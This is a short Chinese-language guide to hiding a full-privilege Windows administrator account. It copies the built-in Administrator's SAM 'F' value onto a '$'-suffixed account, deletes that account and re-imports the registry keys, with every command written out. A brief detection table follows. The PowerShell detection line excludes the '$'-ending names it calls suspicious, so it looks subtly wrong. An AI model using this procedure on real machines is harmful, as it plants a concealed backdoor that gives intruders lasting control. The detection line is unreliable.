利用 regedt32.exe 權限編輯功能,修改 HKLM\SAM\SAM 權限,複製內建 Administrator (RID 500) 的關鍵鍵值至新帳戶,再刪除新帳戶並匯入修改後登錄,建立隱藏且擁有完整權限的超級管理員。僅供安全研究/授權滲透測試使用,嚴禁非法入侵。
HKLM\SAM\SAM\Domains\Account\Users\Names 及對應 RID 子鍵。F 鍵值包含密碼雜湊、權限標誌等關鍵資料。net user hacker$ 1234 /add。regedt32.exe,定位 HKLM\SAM\SAM → 右鍵「權限」→ 添加目前帳戶 → 「完全控制」。regedit.exe,匯出三鍵:hacker$ (Names)、00000409 (RID 1033)、000001F4 (RID 500)。F 值複製覆蓋 RID 1033 的 F 值,合併存檔。net user hacker$ /del。regedit 重新整理 (F5),匯入修改後的 hacker$.reg。regedt32 恢復 HKLM\SAM\SAM 權限(移除剛添加的帳戶)。net user、lusrmgr.msc 均看不見 hacker$。hacker$ / 密碼 1234 可正常登入,擁有完整管理員權限。net user hacker$ newpass)會導致帳戶顯現且無法再隱藏。| 偵測手段 | 原理 |
|---|---|
| 查詢 SAM 中 RID 500 以外的 F 值與 500 相同 | 比對關鍵鍵值異常一致 |
| 安全稽核事件 ID 4720/4722/4738 | 帳戶建立/啟用/變更記錄(需啟用稽核) |
PowerShell: Get-LocalUser | Where-Object {$_.Name -notmatch '^.*\$$'} | 列舉本地帳戶,隱藏帳戶通常以 $ 結尾 |
| 離線掛載 SAM Hive 比對 | PE/離線環境下載入 SAM 對比基準值 |